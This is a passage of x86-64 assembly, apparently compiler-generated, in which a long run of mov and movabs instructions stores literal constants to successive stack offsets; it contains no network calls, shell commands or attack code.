mov qword [rsp + 0xb458], rax
movabs rax, 0x782ef4de8bceed
mov qword [rsp + 0xb460], rax
mov dword [rsp + 0x5920], 0x16bc
mov dword [rsp + 0x5924], 0x88a
movabs rax, 0x73693b776fb9e9
mov qword [rsp + 0xb468], rax
mov dword [rsp + 0x5928], 0x65c4
movabs rax, 0x7cbca17223a1cd
mov qword [rsp + 0xb470], rax
mov dword [rsp + 0x592c], 0xe7a1
mov byte [rsp + 0x217], 0x6a
mov byte [rsp + 0x218], 0x78
mov eax, 0x574
mov word [rsp + 0x145c], ax
mov eax, 0x32c
mov word [rsp + 0x1460], ax
movabs rax, 0x7597c3b0285346
mov qword [rsp + 0xb478], rax
mov eax, 0x4ab
mov word [rsp + 0x1464], ax
mov eax, 0x3fa
mov word [rsp + 0x1468], ax
movabs rax, 0x727214f159875c
mov qword [rsp + 0xb480], rax
mov byte [rsp + 0x219], 0x77
mov eax, 0x3c7
mov word [rsp + 0x146c], ax
mov eax, 0x5e6
mov word [rsp + 0x1470], ax
movabs rax, 0x7b06e808a2b9ee
mov qword [rsp + 0xb488], rax
mov dword [rsp + 0x5930], 0x1cfb
mov byte [rsp + 0x21a], 0x82
mov eax, 0x5bd
mov word [rsp + 0x1474], ax
mov eax, 0xb02
mov word [rsp + 0x1478], ax
movabs rax, 0x7ab9c47b9b9d3e
mov qword [rsp + 0xb490], rax
movabs rax, 0x7411a1da12f573
mov qword [rsp + 0xb498], rax
movabs rax, 0x7496a30eae5e9c
mov qword [rsp + 0xb4a0], rax
movabs rax, 0x703c30da1cf947
mov qword [rsp + 0xb4a8], rax
mov dword [rsp + 0x5934], 0x8d2a
movabs rax, 0x78a208f3b95089
mov qword [rsp + 0xb4b0], rax
movabs rax, 0x77bf2aa5243e56
mov qword [rsp + 0xb4b8], rax
mov byte [rsp + 0x21b], 0x35
mov eax, 0x758
mov word [rsp + 0x147c], ax
movabs rax, 0x7bc06b91806d5f
mov qword [rsp + 0xb4c0], rax
mov eax, 0x1fc
mov word [rsp + 0x1480], ax
mov dword [rsp + 0x5938], 0x2723
mov byte [rsp + 0x21c], 0x10
mov eax, 0x609
mov word [rsp + 0x1484], ax
movabs rax, 0x7c8cdd655bd8b8
mov qword [rsp + 0xb4c8], rax
movabs rax, 0x78f8372e8d5cce
mov qword [rsp + 0xb4d0], rax
movabs rax, 0x7dbbd74988509d
mov qword [rsp + 0xb4d8], rax
mov byte [rsp + 0x21d], 0x4d
mov dword [rsp + 0x593c], 0x6fa5
mov dword [rsp + 0x5940], 0x5ff2
mov byte [rsp + 0x21e], 0xc4
mov eax, 0xa7e
mov word [rsp + 0x1488], ax
movabs rax, 0x78222eb6772ad3
mov qword [rsp + 0xb4e0], rax
movabs rax, 0x73cabaa54e83e8
mov qword [rsp + 0xb4e8], rax
mov eax, 0xf6a
mov word [rsp + 0x148c], ax
movabs rax, 0x7c635c0fbe7985
mov qword [rsp + 0xb4f0], rax
mov byte [rsp + 0x21f], 0x50
movabs rax, 0x769ca4e06c1f46
mov qword [rsp + 0xb4f8], rax
movabs rax, 0x73a0e70c15f1bc
mov qword [rsp + 0xb500], rax
mov dword [rsp + 0x5944], 0x5998
mov byte [rsp + 0x220], 0x6c
mov byte [rsp + 0x221], 0x19
movabs rax, 0x71a16a9d50294e
mov qword [rsp + 0xb508], rax
movabs rax, 0x7c39038b49cd55
mov qword [rsp + 0xb510], rax
mov byte [rsp + 0x222], 0x34
mov dword [rsp + 0x5948], 0x76e7
mov eax, 0x360
mov word [rsp + 0x1490], ax
mov byte [rsp + 0x223], 0xe2
mov eax, 0x360
mov word [rsp + 0x1494], ax
mov byte [rsp + 0x224], 0xa9
mov byte [rsp + 0x225], 0x8d
mov eax, 0x6b
mov word [rsp + 0x1498], ax
mov eax, 0x532
mov word [rsp + 0x149c], ax
mov dword [rsp + 0x594c], 0xc4b
mov eax, 0x6e
mov word [rsp + 0x14a0], ax
mov byte [rsp + 0x226], 0x19
movabs rax, 0x72eb2eb6b0f02a
mov qword [rsp + 0xb518], rax
mov dword [rsp + 0x5950], 0x83d1
movabs rax, 0x724d64e26579fe
mov qword [rsp + 0xb520], rax
mov dword [rsp + 0x5954], 0xbe80
mov byte [rsp + 0x227], 0xd
mov byte [rsp + 0x228], 0xb1
mov dword [rsp + 0x5958], 0x2137
mov dword [rsp + 0x595c], 0x8618
mov byte [rsp + 0x229], 0x50
mov byte [rsp + 0x22a], 0xb1
mov byte [rsp + 0x22b], 0x70
mov eax, 0x42e
mov word [rsp + 0x14a4], ax
movabs rax, 0x73ccde57fd5330
mov qword [rsp + 0xb528], rax
mov byte [rsp + 0x22c], 0x57
movabs rax, 0x7117190a67b50c
mov qword [rsp + 0xb530], rax
mov dword [rsp + 0x5960], 0x1288
mov byte [rsp + 0x22d], 0x40
movabs rax, 0x796fabe0b92fea
mov qword [rsp + 0xb538], rax
mov byte [rsp + 0x22e], 0x5e
mov dword [rsp + 0x5964], 0x56a
movabs rax, 0x7a3271312f2c06
mov qword [rsp + 0xb540], rax
movabs rax, 0x7e9dd42e256616
mov qword [rsp + 0xb548], rax
mov byte [rsp + 0x22f], 0x9d
movabs rax, 0x73668fde8def0d
mov qword [rsp + 0xb550], rax
mov eax, 0x278
mov word [rsp + 0x14a8], ax
mov eax, 0x537
mov word [rsp + 0x14ac], ax
mov eax, 0x385
mov word [rsp + 0x14b0], ax
mov dword [rsp + 0x5968], 0x3531
mov eax, 0x801
mov word [rsp + 0x14b4], ax
movabs rax, 0x78a56d5caba910
mov qword [rsp + 0xb558], rax
movabs rax, 0x7b5a6e76bea506
mov qword [rsp + 0xb560], rax
movabs rax, 0x7a8931e68379f6
mov qword [rsp + 0xb568], rax
mov dword [rsp + 0x596c], 0x48e0
mov dword [rsp + 0x5970], 0xeecd
mov byte [rsp + 0x230], 0xe8
mov dword [rsp + 0x5974], 0x4b6a
mov byte [rsp + 0x231], 0x30
movabs rax, 0x72d23fd172d35b
mov qword [rsp + 0xb570], rax
mov dword [rsp + 0x5978], 0x3d98
mov eax, 0x645
mov word [rsp + 0x14b8], ax
mov byte [rsp + 0x232], 0x91
mov eax, 0x54a
mov word [rsp + 0x14bc], ax
mov dword [rsp + 0x597c], 0x15d2
movabs rax, 0x75d6628a5596a6
mov qword [rsp + 0xb578], rax
mov eax, 0x5f4
mov word [rsp + 0x14c0], ax
movabs rax, 0x7bf25179869167
mov qword [rsp + 0xb580], rax
mov eax, 0x76a
mov word [rsp + 0x14c4], ax
mov dword [rsp + 0x5980], 0x4282
mov dword [rsp + 0x5984], 0x6f9c
mov byte [rsp + 0x233], 0xf2
movabs rax, 0x7e8c5f30f2ad11
mov qword [rsp + 0xb588], rax
movabs rax, 0x774626cc26fb39
mov qword [rsp + 0xb590], rax
mov eax, 0x4a6
mov word [rsp + 0x14c8], ax
mov eax, 0x2c4
mov word [rsp + 0x14cc], ax
mov dword [rsp + 0x5988], 0x5140
mov eax, 0xe1
mov word [rsp + 0x14d0], ax
mov byte [rsp + 0x234], 0x73
movabs rax, 0x795897502d9da2
mov qword [rsp + 0xb598], rax
movabs rax, 0x7491d30a980717
mov qword [rsp + 0xb5a0], rax
mov dword [rsp + 0x598c], 0x76c3
mov eax, 0x457
mov word [rsp + 0x14d4], ax
mov eax, 0x2e
mov word [rsp + 0x14d8], ax
mov byte [rsp + 0x235], 0x1c
mov eax, 0xe2e
mov word [rsp + 0x14dc], ax
mov byte [rsp + 0x236], 0xa8
movabs rax, 0x729de99419c640
mov qword [rsp + 0xb5a8], rax
movabs rax, 0x7b5ed1194601ad
mov qword [rsp + 0xb5b0], rax
mov byte [rsp + 0x237], 0xc1
mov dword [rsp + 0x5990], 0x790e
mov dword [rsp + 0x5994], 0x1007
mov eax, 0x4fa
mov word [rsp + 0x14e0], ax
mov dword [rsp + 0x5998], 0x40e9
movabs rax, 0x775552f26d3feb
mov qword [rsp + 0xb5b8], rax
movabs rax, 0x7283cfc805eb65
mov qword [rsp + 0xb5c0], rax
movabs rax, 0x7a2ad08755d37d
mov qword [rsp + 0xb5c8], rax
movabs rax, 0x743db8f6788504
mov qword [rsp + 0xb5d0], rax
mov byte [rsp + 0x238], 0x6c
mov byte [rsp + 0x239], 0x3e
mov eax, 0x431
mov word [rsp + 0x14e4], ax
mov eax, 0xc34
mov word [rsp + 0x14e8], ax
movabs rax, 0x744a62e2489d38
mov qword [rsp + 0xb5d8], rax
movabs rax, 0x7952814aa18589
mov qword [rsp + 0xb5e0], rax
movabs rax, 0x74520f863285b9
mov qword [rsp + 0xb5e8], rax
movabs rax, 0x7dee6d8f4033a5
mov qword [rsp + 0xb5f0], rax
mov eax, 0xc4
mov word [rsp + 0x14ec], ax
mov eax, 0x42
mov word [rsp + 0x14f0], ax
mov dword [rsp + 0x599c], 0x76dc
movabs rax, 0x74685610a7e8be
mov qword [rsp + 0xb5f8], rax
mov eax, 0x686
mov word [rsp + 0x14f4], ax
mov dword [rsp + 0x59a0], 0xfb08
mov eax, 0x534
mov word [rsp + 0x14f8], ax
mov dword [rsp + 0x59a4], 0x662
movabs rax, 0x71bae8fa9d6c35
mov qword [rsp + 0xb600], rax
mov eax, 0x6a8
mov word [rsp + 0x14fc], ax
movabs rax, 0x71dfe07b3ba3a6
mov qword [rsp + 0xb608], rax
movabs rax, 0x70bc4704af8be6
mov qword [rsp + 0xb610], rax
mov dword [rsp + 0x59a8], 0x9c6c
mov byte [rsp + 0x23a], 0xcb
mov dword [rsp + 0x59ac], 0xf0f7
mov dword [rsp + 0x59b0], 0x2196
mov dword [rsp + 0x59b4], 0xe27a
movabs rax, 0x7df55a6cb0a581
mov qword [rsp + 0xb618], rax
mov byte [rsp + 0x23b], 0x71
mov dword [rsp + 0x59b8], 0x2ff3
mov dword [rsp + 0x59bc], 0x8820
mov eax, 0x78e
mov word [rsp + 0x1500], ax
movabs rax, 0x735e2e150fa5d6
mov qword [rsp + 0xb620], rax
mov eax, 0x602
mov word [rsp + 0x1504], ax
mov dword [rsp + 0x59c0], 0x54f7
mov dword [rsp + 0x59c4], 0x89c1
mov eax, 0x93c
mov word [rsp + 0x1508], ax
movabs rax, 0x7b86dde233cba6
mov qword [rsp + 0xb628], rax
mov byte [rsp + 0x23c], 0x5b
mov eax, 0x41e
mov word [rsp + 0x150c], ax
mov eax, 0xb1f
mov word [rsp + 0x1510], ax
mov dword [rsp + 0x59c8], 0xf1b8
mov dword [rsp + 0x59cc], 0x59c3
mov dword [rsp + 0x59d0], 0x6122
mov dword [rsp + 0x59d4], 0x695d
movabs rax, 0x724fbbeb0a4a2b
mov qword [rsp + 0xb630], rax
mov dword [rsp + 0x59d8], 0x680a
mov dword [rsp + 0x59dc], 0x279e
mov dword [rsp + 0x59e0], 0x2c91
mov byte [rsp + 0x23d], 0x30
mov eax, 0xaf
mov word [rsp + 0x1514], ax
movabs rax, 0x74010c98b88639
mov qword [rsp + 0xb638], rax
mov eax, 0x197
mov word [rsp + 0x1518], ax
mov eax, 0x6e0
mov word [rsp + 0x151c], ax
mov dword [rsp + 0x59e4], 0x1fa3
mov byte [rsp + 0x23e], 0x63
mov eax, 0xaa
mov word [rsp + 0x1520], ax
mov dword [rsp + 0x59e8], 0x3ab2
movabs rax, 0x7d2572486ae2f1
mov qword [rsp + 0xb640], rax
mov dword [rsp + 0x59ec], 0xbf18
mov dword [rsp + 0x59f0], 0x720c
movabs rax, 0x7b137e9ccc58f9
mov qword [rsp + 0xb648], rax
mov byte [rsp + 0x23f], 0x33
mov dword [rsp + 0x59f4], 0x19cf
mov eax, 0x76e
mov word [rsp + 0x1524], ax
mov eax, 0x4c8
mov word [rsp + 0x1528], ax
mov dword [rsp + 0x59f8], 0x563d
mov eax, 0x21e
mov word [rsp + 0x152c], ax
mov byte [rsp + 0x240], 0x3e
mov byte [rsp + 0x241], 0x1e
mov dword [rsp + 0x59fc], 0x3030
mov byte [rsp + 0x242], 0x80
movabs rax, 0x7e02706283a443
mov qword [rsp + 0xb650], rax
movabs rax, 0x718e7b8a32c056
mov qword [rsp + 0xb658], rax
mov dword [rsp + 0x5a00], 0x630c
mov eax, 0x54a
mov word [rsp + 0x1530], ax
movabs rax, 0x7181422e0c5787
mov qword [rsp + 0xb660], rax
movabs rax, 0x7acb8095134ca7
mov qword [rsp + 0xb668], rax
movabs rax, 0x719a4e520529b7
mov qword [rsp + 0xb670], rax
mov byte [rsp + 0x243], 0xae
mov eax, 0x6a5
mov word [rsp + 0x1534], ax
movabs rax, 0x719aee66b1807b
mov qword [rsp + 0xb678], rax
mov eax, 0x471
mov word [rsp + 0x1538], ax
mov dword [rsp + 0x5a04], 0x2208
movabs rax, 0x72b8e81d59039d
mov qword [rsp + 0xb680], rax
mov eax, 0x20a
mov word [rsp + 0x153c], ax
movabs rax, 0x71b4b085ce7cc3
mov qword [rsp + 0xb688], rax
mov byte [rsp + 0x244], 0x2b
mov eax, 0xc11
mov word [rsp + 0x1540], ax
movabs rax, 0x7637af2c113903
mov qword [rsp + 0xb690], rax
mov eax, 0x26a
mov word [rsp + 0x1544], ax
movabs rax, 0x75e982f05d8387
mov qword [rsp + 0xb698], rax
mov byte [rsp + 0x245], 0xe2
mov eax, 0x79f
mov word [rsp + 0x1548], ax
mov dword [rsp + 0x5a08], 0x6174
movabs rax, 0x759f753d8cdda4
mov qword [rsp + 0xb6a0], rax
movabs rax, 0x78a2afb957a9b2
mov qword [rsp + 0xb6a8], rax
mov dword [rsp + 0x5a0c], 0x5c79
movabs rax, 0x7dba81f8fd9951
mov qword [rsp + 0xb6b0], rax
mov eax, 0x4c
mov word [rsp + 0x154c], ax
movabs rax, 0x76c5c3aea11a63
mov qword [rsp + 0xb6b8], rax
mov eax, 0x310
mov word [rsp + 0x1550], ax
mov eax, 0x213
mov word [rsp + 0x1554], ax
mov byte [rsp + 0x246], 0x9d
movabs rax, 0x740405cc846302
mov qword [rsp + 0xb6c0], rax
mov dword [rsp + 0x5a10], 0x38a8
mov dword [rsp + 0x5a14], 0x6250
movabs rax, 0x765b237f5f414b
mov qword [rsp + 0xb6c8], rax
mov byte [rsp + 0x247], 0x51
mov dword [rsp + 0x5a18], 0x45a7
mov dword [rsp + 0x5a1c], 0xba48
mov dword [rsp + 0x5a20], 0xf4a6
mov dword [rsp + 0x5a24], 0x3d8
mov byte [rsp + 0x248], 0x27
movabs rax, 0x7bc4391a69f1e2
mov qword [rsp + 0xb6d0], rax
mov byte [rsp + 0x249], 0x2c
movabs rax, 0x716020301dcc7f
mov qword [rsp + 0xb6d8], rax
movabs rax, 0x79e71825354ae2
mov qword [rsp + 0xb6e0], rax
mov eax, 0x666
mov word [rsp + 0x1558], ax
mov eax, 0x783
mov word [rsp + 0x155c], ax
mov dword [rsp + 0x5a28], 0x9a7d
mov dword [rsp + 0x5a2c], 0x1902
mov eax, 0xc7d
mov word [rsp + 0x1560], ax
mov eax, 0x7bd
mov word [rsp + 0x1564], ax
movabs rax, 0x7351e9b1e76783
mov qword [rsp + 0xb6e8], rax
mov byte [rsp + 0x24a], 0xcf
movabs rax, 0x752c7e10cd9804
mov qword [rsp + 0xb6f0], rax
mov byte [rsp + 0x24b], 0x28
mov eax, 0xa49
mov word [rsp + 0x1568], ax
movabs rax, 0x7d29e5871ca69a
mov qword [rsp + 0xb6f8], rax
mov dword [rsp + 0x5a30], 0x6603
mov dword [rsp + 0x5a34], 0x27f3
mov eax, 0x6ee
mov word [rsp + 0x156c], ax
movabs rax, 0x7b877529da3cc6
mov qword [rsp + 0xb700], rax
movabs rax, 0x7323b3db956583
mov qword [rsp + 0xb708], rax
mov eax, 0x7b3
mov word [rsp + 0x1570], ax
mov eax, 0x10a
mov word [rsp + 0x1574], ax
mov eax, 0x97
mov word [rsp + 0x1578], ax
mov dword [rsp + 0x5a38], 0x171e
mov dword [rsp + 0x5a3c], 0x9cee
movabs rax, 0x73fb59e3601f71
mov qword [rsp + 0xb710], rax
mov byte [rsp + 0x24c], 1
movabs rax, 0x7012a201f898c2
mov qword [rsp + 0xb718], rax
mov byte [rsp + 0x24d], 0x4b
mov byte [rsp + 0x24e], 0x33
mov eax, 0x61a
mov word [rsp + 0x157c], ax
mov dword [rsp + 0x5a40], 0x95b0
movabs rax, 0x704e87a80bfd7b
mov qword [rsp + 0xb720], rax
mov byte [rsp + 0x24f], 0x7a
mov eax, 0x7e6
mov word [rsp + 0x1580], ax
mov byte [rsp + 0x250], 0x5c
mov dword [rsp + 0x5a44], 0x9c3d
movabs rax, 0x707399e21a385b
mov qword [rsp + 0xb728], rax
mov eax, 0x4cd
mov word [rsp + 0x1584], ax
mov byte [rsp + 0x251], 0xf6
mov byte [rsp + 0x252], 0xb9
mov byte [rsp + 0x253], 0x2d
movabs rax, 0x722b07f46907ad
mov qword [rsp + 0xb730], rax
mov eax, 0x805
mov word [rsp + 0x1588], ax
movabs rax, 0x71306261cf3f7e
mov qword [rsp + 0xb738], rax
mov dword [rsp + 0x5a48], 0xbf36
movabs rax, 0x7016a54ac9a5d3
mov qword [rsp + 0xb740], rax
movabs rax, 0x7005919aadc48f
mov qword [rsp + 0xb748], rax
mov byte [rsp + 0x254], 0x3a
mov dword [rsp + 0x5a4c], 0x4c76
movabs rax, 0x74fd0a2c710d8c
mov qword [rsp + 0xb750], rax
mov byte [rsp + 0x255], 9
movabs rax, 0x79ed99aaf4a2d3
mov qword [rsp + 0xb758], rax
movabs rax, 0x749d46602169a6
mov qword [rsp + 0xb760], rax
mov eax, 0x1e6
mov word [rsp + 0x158c], ax
mov byte [rsp + 0x256], 0xe4
mov eax, 0x5bc
mov word [rsp + 0x1590], ax
mov eax, 0x1da
mov word [rsp + 0x1594], ax
mov eax, 0xc46
mov word [rsp + 0x1598], ax
movabs rax, 0x77f0b13be51d77
mov qword [rsp + 0xb768], rax
mov eax, 0x5ce
mov word [rsp + 0x159c], ax
movabs rax, 0x74d35b5e20cf83
mov qword [rsp + 0xb770], rax
mov dword [rsp + 0x5a50], 0x2217
mov byte [rsp + 0x257], 0xd5
movabs rax, 0x7b0232075b480f
mov qword [rsp + 0xb778], rax
movabs rax, 0x7eba8e84d29736
mov qword [rsp + 0xb780], rax
movabs rax, 0x76cce45ec9d4f9
mov qword [rsp + 0xb788], rax
mov dword [rsp + 0x5a54], 0xb32e
movabs rax, 0x7020fab2aa3776
mov qword [rsp + 0xb790], rax
mov dword [rsp + 0x5a58], 0x3e75
movabs rax, 0x77cfc085c9b017
mov qword [rsp + 0xb798], rax
mov eax, 0x423
mov word [rsp + 0x15a0], ax
mov eax, 0x949
mov word [rsp + 0x15a4], ax
mov byte [rsp + 0x258], 0x7a
movabs rax, 0x76c7404749a377
mov qword [rsp + 0xb7a0], rax
mov eax, 0xa06
mov word [rsp + 0x15a8], ax
mov eax, 0xe6
mov word [rsp + 0x15ac], ax
mov eax, 0x2ea
mov word [rsp + 0x15b0], ax
mov eax, 0x43
mov word [rsp + 0x15b4], ax
movabs rax, 0x73bf1797da88cc
mov qword [rsp + 0xb7a8], rax
movabs rax, 0x70e810a572f9d8
mov qword [rsp + 0xb7b0], rax
mov eax, 0x27c
mov word [rsp + 0x15b8], ax
mov byte [rsp + 0x259], 0x64
movabs rax, 0x7a9db90e0d083f
mov qword [rsp + 0xb7b8], rax
mov eax, 0xca3
mov word [rsp + 0x15bc], ax
mov dword [rsp + 0x5a5c], 0xf27
mov dword [rsp + 0x5a60], 0x615
mov eax, 0x2ae
mov word [rsp + 0x15c0], ax
movabs rax, 0x7ed47d112e3f43
mov qword [rsp + 0xb7c0], rax
mov byte [rsp + 0x25a], 0x33
movabs rax, 0x7d5b85f7b3c627
mov qword [rsp + 0xb7c8], rax
mov byte [rsp + 0x25b], 0x1e
mov byte [rsp + 0x25c], 0x48
movabs rax, 0x7025016dad52d8
mov qword [rsp + 0xb7d0], rax
movabs rax, 0x727398213ef562
mov qword [rsp + 0xb7d8], rax
movabs rax, 0x788fe1ac17557b
mov qword [rsp + 0xb7e0], rax
mov eax, 0x715
mov word [rsp + 0x15c4], ax
mov dword [rsp + 0x5a64], 0x54ec
movabs rax, 0x7561ea3b62c8e4
mov qword [rsp + 0xb7e8], rax
mov eax, 0x49
mov word [rsp + 0x15c8], ax
mov dword [rsp + 0x5a68], 0xdee
mov eax, 0xf4c
mov word [rsp + 0x15cc], ax
mov dword [rsp + 0x5a6c], 0x1375
mov byte [rsp + 0x25d], 5
movabs rax, 0x79055015f6b5f5
mov qword [rsp + 0xb7f0], rax
mov byte [rsp + 0x25e], 0xb
mov eax, 0x4bd
mov word [rsp + 0x15d0], ax
movabs rax, 0x77dfb850ff52ea
mov qword [rsp + 0xb7f8], rax
mov eax, 0xa0e
mov word [rsp + 0x15d4], ax
movabs rax, 0x7978ad49946cb4
mov qword [rsp + 0xb800], rax
mov eax, 0x4d1
mov word [rsp + 0x15d8], ax
movabs rax, 0x777fd8debf62dd
mov qword [rsp + 0xb808], rax
mov byte [rsp + 0x25f], 0xe0
mov byte [rsp + 0x260], 0x78
mov byte [rsp + 0x261], 0x59
movabs rax, 0x7d41deb7b4c718
mov qword [rsp + 0xb810], rax
mov byte [rsp + 0x262], 0x15
mov dword [rsp + 0x5a70], 0x2161
movabs rax, 0x7d94a81118d138
mov qword [rsp + 0xb818], rax
movabs rax, 0x79dff14ce2752c
mov qword [rsp + 0xb820], rax
movabs rax, 0x787d4dd4630a7d
mov qword [rsp + 0xb828], rax
mov eax, 0x1b5
mov word [rsp + 0x15dc], ax
mov dword [rsp + 0x5a74], 0xfa44
mov eax, 0xe94
mov word [rsp + 0x15e0], ax
mov eax, 0x6fe
mov word [rsp + 0x15e4], ax
mov dword [rsp + 0x5a78], 0x57f6
mov eax, 0xe48
mov word [rsp + 0x15e8], ax
mov byte [rsp + 0x263], 0xc7
movabs rax, 0x727d63d4fa336c
mov qword [rsp + 0xb830], rax
mov byte [rsp + 0x264], 0xd1
mov eax, 0x6fb
mov word [rsp + 0x15ec], ax
mov dword [rsp + 0x5a7c], 0x727b
mov dword [rsp + 0x5a80], 0x47e1
movabs rax, 0x79fb7232a687c3
mov qword [rsp + 0xb838], rax
mov eax, 0x2ee
mov word [rsp + 0x15f0], ax
mov dword [rsp + 0x5a84], 0x5bac
movabs rax, 0x7a92e51a1818e8
mov qword [rsp + 0xb840], rax
mov eax, 0x2f8
mov word [rsp + 0x15f4], ax
mov byte [rsp + 0x265], 0xa3
mov eax, 0xa90
mov word [rsp + 0x15f8], ax
mov eax, 0xa0f
mov word [rsp + 0x15fc], ax
mov eax, 0xcca
mov word [rsp + 0x1600], ax
movabs rax, 0x797a57831f4694
mov qword [rsp + 0xb848], rax
movabs rax, 0x7bed507c4c49f4
mov qword [rsp + 0xb850], rax
mov byte [rsp + 0x266], 0x9d
mov dword [rsp + 0x5a88], 0xb11
mov eax, 0x7bd
mov word [rsp + 0x1604], ax
mov byte [rsp + 0x267], 0xbb
mov dword [rsp + 0x5a8c], 0xa655
movabs rax, 0x7ae479dd032144
mov qword [rsp + 0xb858], rax
mov eax, 0xd1e
mov word [rsp + 0x1608], ax
mov eax, 0xde
mov word [rsp + 0x160c], ax
mov dword [rsp + 0x5a90], 0x775c
movabs rax, 0x70cd46e2e25b4b
mov qword [rsp + 0xb860], rax
movabs rax, 0x7dd11a29415469
mov qword [rsp + 0xb868], rax
movabs rax, 0x742ad1014169f8
mov qword [rsp + 0xb870], rax
movabs rax, 0x768b2059cea202
mov qword [rsp + 0xb878], rax
movabs rax, 0x726c485101880f
mov qword [rsp + 0xb880], rax
mov eax, 0x3c8
mov word [rsp + 0x1610], ax
mov byte [rsp + 0x268], 0x46
movabs rax, 0x7375103bac39dd
mov qword [rsp + 0xb888], rax
movabs rax, 0x784106ee20c081
mov qword [rsp + 0xb890], rax
mov byte [rsp + 0x269], 0x11
mov dword [rsp + 0x5a94], 0xd681
mov eax, 0x264
mov word [rsp + 0x1614], ax
mov byte [rsp + 0x26a], 0x86
mov eax, 0x5ec
mov word [rsp + 0x1618], ax
movabs rax, 0x708031193285e3
mov qword [rsp + 0xb898], rax
mov byte [rsp + 0x26b], 0xb1
mov eax, 0x406
mov word [rsp + 0x161c], ax
mov eax, 0x674
mov word [rsp + 0x1620], ax
mov eax, 0xaab
mov word [rsp + 0x1624], ax
mov byte [rsp + 0x26c], 0x1a
mov byte [rsp + 0x26d], 0x68
mov eax, 0x27d
mov word [rsp + 0x1628], ax
mov byte [rsp + 0x26e], 0x5c
mov eax, 0x4a4
mov word [rsp + 0x162c], ax
mov byte [rsp + 0x26f], 0xb4
mov dword [rsp + 0x5a98], 0x30e6
mov eax, 0xabe
mov word [rsp + 0x1630], ax
mov eax, 0x9e
mov word [rsp + 0x1634], ax
mov eax, 0x328
mov word [rsp + 0x1638], ax
mov dword [rsp + 0x5a9c], 0xb097
mov byte [rsp + 0x270], 0x2b
mov dword [rsp + 0x5aa0], 0x2c1b
movabs rax, 0x79f889fa181d46
mov qword [rsp + 0xb8a0], rax
mov dword [rsp + 0x5aa4], 0x494b
mov byte [rsp + 0x271], 0x9a
mov eax, 0xc6f
mov word [rsp + 0x163c], ax
mov byte [rsp + 0x272], 0x50
mov eax, 0x69
mov word [rsp + 0x1640], ax
mov dword [rsp + 0x5aa8], 0x5a37
mov eax, 0x342
mov word [rsp + 0x1644], ax
mov dword [rsp + 0x5aac], 0x55f5
mov byte [rsp + 0x273], 0xb8
mov dword [rsp + 0x5ab0], 0x7709
mov eax, 0x75b
mov word [rsp + 0x1648], ax
movabs rax, 0x7659f3e4de8a22
mov qword [rsp + 0xb8a8], rax
mov byte [rsp + 0x274], 0x58
mov byte [rsp + 0x275], 0x35
movabs rax, 0x793a8f35f5af15
mov qword [rsp + 0xb8b0], rax
mov eax, 0x44b
mov word [rsp + 0x164c], ax
mov dword [rsp + 0x5ab4], 0x4ad0
mov eax, 0x1d4
mov word [rsp + 0x1650], ax
movabs rax, 0x723a5c9849537f
mov qword [rsp + 0xb8b8], rax
mov byte [rsp + 0x276], 0x20
mov byte [rsp + 0x277], 0x35
mov dword [rsp + 0x5ab8], 0x5471
mov eax, 0x3e5
mov word [rsp + 0x1654], ax
mov eax, 0xee
mov word [rsp + 0x1658], ax
mov dword [rsp + 0x5abc], 0xf8eb
mov eax, 0xdd8
mov word [rsp + 0x165c], ax
movabs rax, 0x7d81912dfecc3f
mov qword [rsp + 0xb8c0], rax
movabs rax, 0x7da4e354defcd8
mov qword [rsp + 0xb8c8], rax
movabs rax, 0x75bc5ec413bceb
mov qword [rsp + 0xb8d0], rax
mov byte [rsp + 0x278], 0x79
mov eax, 0x3a1
mov word [rsp + 0x1660], ax
mov eax, 0x6c1
mov word [rsp + 0x1664], ax
movabs rax, 0x7589cc6a430b21
mov qword [rsp + 0xb8d8], rax
mov byte [rsp + 0x279], 0x68
mov dword [rsp + 0x5ac0], 0x7bbd
movabs rax, 0x7652dcd82adbb5
mov qword [rsp + 0xb8e0], rax
movabs rax, 0x7cba5e1ede8e84
mov qword [rsp + 0xb8e8], rax
mov dword [rsp + 0x5ac4], 0x7f80
mov dword [rsp + 0x5ac8], 0x25df
movabs rax, 0x74741832a770a4
mov qword [rsp + 0xb8f0], rax
mov dword [rsp + 0x5acc], 0x6173
mov dword [rsp + 0x5ad0], 0x4c7a
mov byte [rsp + 0x27a], 0x7d
mov eax, 0x16e
mov word [rsp + 0x1668], ax
movabs rax, 0x73f64d5d043b8e
mov qword [rsp + 0xb8f8], rax
mov dword [rsp + 0x5ad4], 0x693e
mov dword [rsp + 0x5ad8], 0x7a77
movabs rax, 0x74ae19e972df29
mov qword [rsp + 0xb900], rax
mov eax, 0x5a5
mov word [rsp + 0x166c], ax
mov eax, 0x7fa
mov word [rsp + 0x1670], ax
mov dword [rsp + 0x5adc], 0x589e
mov eax, 0xcfb
mov word [rsp + 0x1674], ax
mov byte [rsp + 0x27b], 0xa
movabs rax, 0x7cad43ca85c6e1
mov qword [rsp + 0xb908], rax
mov dword [rsp + 0x5ae0], 0x951b
movabs rax, 0x70124095bb89de
mov qword [rsp + 0xb910], rax
movabs rax, 0x7b3051ee2dc6a8
mov qword [rsp + 0xb918], rax
mov eax, 0x654
mov word [rsp + 0x1678], ax
mov eax, 0x2bb
mov word [rsp + 0x167c], ax
movabs rax, 0x71d80b0261aba3
mov qword [rsp + 0xb920], rax
mov byte [rsp + 0x27c], 0xc
mov byte [rsp + 0x27d], 0xe3
mov byte [rsp + 0x27e], 0x4b
movabs rax, 0x7c50e7441d2352
mov qword [rsp + 0xb928], rax
mov dword [rsp + 0x5ae4], 0x54f3
movabs rax, 0x72fcab2e3136c9
mov qword [rsp + 0xb930], rax
mov dword [rsp + 0x5ae8], 0xbaa1
movabs rax, 0x7bdb7860db7f1e
mov qword [rsp + 0xb938], rax
mov dword [rsp + 0x5aec], 0xdb77
movabs rax, 0x77e278dc4b1ee2
mov qword [rsp + 0xb940], rax
mov byte [rsp + 0x27f], 0xb4
mov byte [rsp + 0x280], 0x1b
mov eax, 0xbce
mov word [rsp + 0x1680], ax
movabs rax, 0x7bf31b199bdfc1
mov qword [rsp + 0xb948], rax
movabs rax, 0x794712dfb7a6d3
mov qword [rsp + 0xb950], rax
movabs rax, 0x778656f5362913
mov qword [rsp + 0xb958], rax
movabs rax, 0x79a3ce85694419
mov qword [rsp + 0xb960], rax
mov byte [rsp + 0x281], 0x4e
mov byte [rsp + 0x282], 0x41
movabs rax, 0x79c8e43d00beea
mov qword [rsp + 0xb968], rax
movabs rax, 0x7cf633d77fa3e1
mov qword [rsp + 0xb970], rax
movabs rax, 0x7eeb939d818d5f
mov qword [rsp + 0xb978], rax
movabs rax, 0x74cabfb15ecac8
mov qword [rsp + 0xb980], rax
mov dword [rsp + 0x5af0], 0x693f
movabs rax, 0x7dfdc99ae4bfeb
